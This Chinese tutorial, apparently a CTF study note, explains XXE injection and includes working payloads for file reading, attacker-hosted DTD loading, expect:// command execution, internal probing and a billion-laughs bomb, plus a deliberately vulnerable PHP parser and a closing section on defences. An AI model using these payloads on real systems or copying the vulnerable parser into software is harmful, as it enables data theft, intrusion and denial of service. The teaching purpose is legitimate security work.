前言:
XXE漏洞經常出現在CTF中,一直也沒有系統的學習過,今天就來總結一波。
文章目錄
一、XXE 漏洞是什么:
XXE 漏洞全稱:XML External Entity Injection,即 XML 外部實體 注入漏洞。XXE 漏洞發生在應用程序解析 XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件和代碼,造成任意文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起 Dos攻擊等危害。
二、XML基礎知識:
想要了解 XXE漏洞,需要先了解一下關於 XML的基礎知識。
1、XML是什么?
-
XML全稱:可擴展標記語言(Extensible Markup Language)。
-
XML是獨立於軟件和硬件的信息傳輸工具,它把數據從HTML中分離。 XML語言沒有預定義的標簽,需要作者定義自己的標簽和自己的文檔結構。
-
XML 被設計用來傳輸和存儲數據,HTML 被設計用來顯示數據。
2、XML文檔結構:
XML文檔結構包括:
-
XML聲明
-
DTD 文檔類型定義(可選)
-
文檔元素。
示例代碼:
其中 DTD (Document Type Definition)即 文檔類型定義 部分 定義了XML文檔的標簽以及元素屬性。
如上圖中的DTD 就定義了XML的根元素為 note,然后根元素下面有一些子元素 (to,from,heading,body),那么下面的文檔元素就可以使用這些元素:
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
注:
-
PCDATA:可被解析的字符數據。PCDATA 數據類型是會被解析器解析的文本。這些文本將被解析器檢查 實體 以及 標記。文本中的標簽會被當作標記來處理,而實體會被展開。與之對應的是CDATA
-
CDATA:不被解析的字符數據,CDATA 數據類型是不會被解析器解析的文本,在這些文本中的標簽不會被當作標記來對 待,其中的實體也不會被展開。詳細可點這 鏈接
DTD聲明方式:
其中DTD有兩種構建方式,分別為內部 DTD聲明和外部 DTD聲明。
1、內部DTD聲明:
聲明格式:
<!DOCTYPE 根元素 [元素聲明]>
如 上例使用就是內部 DTD聲明。
2、外部DTD聲明:
通過引入 dtd文件的方式進行聲明(這一點和 css,javascript 很像)。
聲明格式:
<!DOCTYPE 根元素 SYSTEM "文件名">
例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "test.dtd">
<note>
<to>H</to>
<from>E</from>
<head>L</head>
<body>LO</body>
</note>
test.dtd:
<!ELEMENT to (#PCDATA)><!--定義to元素為”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)><!--定義from元素為”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)><!--定義head元素為”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)><!--定義body元素為”#PCDATA”類型-->
🆗,說完了 DTD的兩種引入方式,終於到了關鍵人物:" 實體 " 登場了。
實體的聲明:
實體定義在 DTD聲明中,
例:
<?xml version="1.0"?>
<!DOCTYPE sss [ <!ELEMENT sss ANY > <!ENTITY xxe "hello" > ]>
這里定義元素為 ANY 表示可以接受任何元素作為標簽,這里的 "xxe"
就是我們所說的實體了(相當於一個變量),可以在XML文檔元素中使用 &
符號對實體進行引用。
例:
<sss>
<user>&xxe;</user>
<pass>pass</pass>
</sss>
到時候輸出的時候 &xxe;
就會被 hello
替換。
實體的分類:
1、按聲明位置分(和上面的內外部引入 DTD聲明不同,別弄混了):
實體是定義在 DTD中的,可分為 外部實體 和 內部實體,上面的例子就是內部實體,外部實體就是把實體定義在外部文件中。
例:
<?xml version="1.0"?>
<!DOCTYPE sss [ <!ELEMENT sss ANY > <!ENTITY xxe SYSTEM "file:///D:/test.dtd" > //引入外部dtd文件 ]>
<sss>
<user>&xxe;</user>
<pass>pass</pass>
</sss>
這樣當需要更改實體的值時,只需要更改外部的 dtd 文件就行,不需要打開源碼更改了(降低了耦合性),但也帶來了安全漏洞。
外部實體支持http、file等協議。不同程序支持的協議不同:
2、按類型分:
實體又分為通用實體和參數實體。
1、通用實體:
- 用
&實體名;
引用,在DTD 中定義(內外DTD都行),在 XML文檔元素中引用。
上面的例子都是通用實體。
2、參數實體:
-
使用
% 實體名
(中間有空格) 在DTD中定義(內外DTD都行),並且只能在DTD中使用%實體名;
引用。 -
在 DTD 文件中,參數實體的聲明可以引用其他實體(參數實體和通用實體)。
引入格式:
內部引入:
<!ENTITY % 實體名稱 "實體的值">
例:
<?xml version="1.0" encoding="utf-8">
<!DOCTYPE Author [ <!ENTITY % first "Hello"> <!ENTITY % second "%first;_World"> %second;]>
%second;
會解析為:Hello_World
外部引入:
<!ENTITY % 實體名稱 SYSTEM "URI">
例:
<!DOCTYPE a [ <!ENTITY % name SYSTEM "file:///D:/test.dtd"> %name;]>
三、如何利用XXE:
說了這么多,終於來到了重點,正如標題 XXE名為 “外部實體注入”,也就是說時是通過引入外部實體的方式進行注入的。
我們先來看這個例子:
<?xml version="1.0"?>
<!DOCTYPE s [ <!ELEMENT s ANY > <!ENTITY xxe SYSTEM "file:///D:/test.dtd" > ]>
<s>
<user>&xxe;</user>
<pass>pass</pass>
</s>
既然能讀 dtd文件,那是不是將路徑換成敏感文件的路徑,也能把敏感文件讀出來?
例:
解析 xml 的php文件:
test.php:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
構造payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE A [ <!ENTITY a SYSTEM "file:///c:/windows/system.ini"> ]>
<A>&a;</A>
可以看到,成功讀取到了 C盤下的
system.ini
文件,此漏洞就是 任意文件讀取漏洞。
四、XXE漏洞常見的危害:
1、任意文件讀取:
構造任意文件讀取漏洞 playload 有下面幾種方法:
方式一、直接通過外部實體聲明:
XML內容:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [ <!ENTITY b SYSTEM "file:///etc/passwd"> ]>
<a>&b;</a>
上面的例子就是此方式,這是最簡單的XXE漏洞利用。
方式二、外部實體聲明 (通用實體)+ 外部 DTD文件:
XML內容:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://XXX/test.dtd">
<c>&b;</c>
注意:這里的 http://XXX/test.dtd 是攻擊者自己服務器上的文件。
test.dtd 內容:
<!ENTITY b SYSTEM "file:///etc/passwd">
示例(使用的是 xxe-labs 靶場的php環境):
因為這里使用windows演示的,所以讀取的是 system.ini
文件,可以看到成功的讀取到了。
方式三、外部實體聲明(參數實體) + 引入外部實體聲明:
因為參數實體可以嵌套別的實體,所以產生了這種方式。
<?xml version="1.0"?>
<!DOCTYPE a[ <!ENTITY % d SYSTEM "http://XXX/test.dtd"> %d; ]>
<c>&b;</c>
test.dtd 內容:
<!ENTITY b SYSTEM "file:///etc/passwd">
示例:
注意這種方式必須要先引用 參數實體,才能引用通用實體,且缺一不可。
2、命令執行:
在安裝 expect擴展的PHP環境里執行系統命令,其他協議也有可能可以執行系統命令。
因為PHP的 expect 並不是默認安裝擴展,所以命令執行比較難利用,但不排除有幸運的情況。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "expect://cat /" >]>
<root>
<name>&xxe;</name>
</root>
3、內網探測:
XML 外部實體中是可以使用http://協議,可以利用該請求去探查內網。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&xxe;</name>
</root>
4、攻擊內網網站:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
5、發起Dos攻擊:
幾乎所有可以控制服務器資源利用的東西,都可用於制造DOS攻擊。通過XML外部實體注入,攻擊者可以發送任意的HTTP請求,因為解析器會解析文檔中的所有實體,所以如果實體聲明層層嵌套的話,在一定數量上可以對服務器器造成DoS。
常見的XML炸彈:
<?xml version="1.0"?>
<!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]>
<lolz>&lol9;</lolz>
攻擊原理:XML解析器嘗試解析該文件時,DTD中的實體會以指數級的數量級展開,lol 實體為 “lol” 字符串,然后一個 lol2 實體引用了 10 次 lol 實體,一個 lol3 實體引用了 10 次 lol2 實體,此時一個 lol3 實體就含有 10^2
個 “lol” 了,以此類推,lol9 實體含有 10^8
個 “lol” 字符串,所以這個1K不到的文件經過解析后會占用到3G的內存,可見有多恐怖,不過現代的服務器軟硬件大多已經抵御了此類攻擊。
防御XML炸彈的方法也很簡單禁止DTD或者是限制每個實體的最大長度。
五、XXE 如何防御:
方式一、使用開發語言提供的禁用外部實體的方法:
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方式二、過濾用戶輸入:
過濾用戶提交的XML數據 ,關鍵詞:<!DOCTYPE>、<!ENTITY>、SYSTEM、PUBLIC
。
最后
🆗,關於 XXE漏洞的總結大致就這些了,后面遇到新的 XXE利用方式再補上。( •̀ ω •́ )✧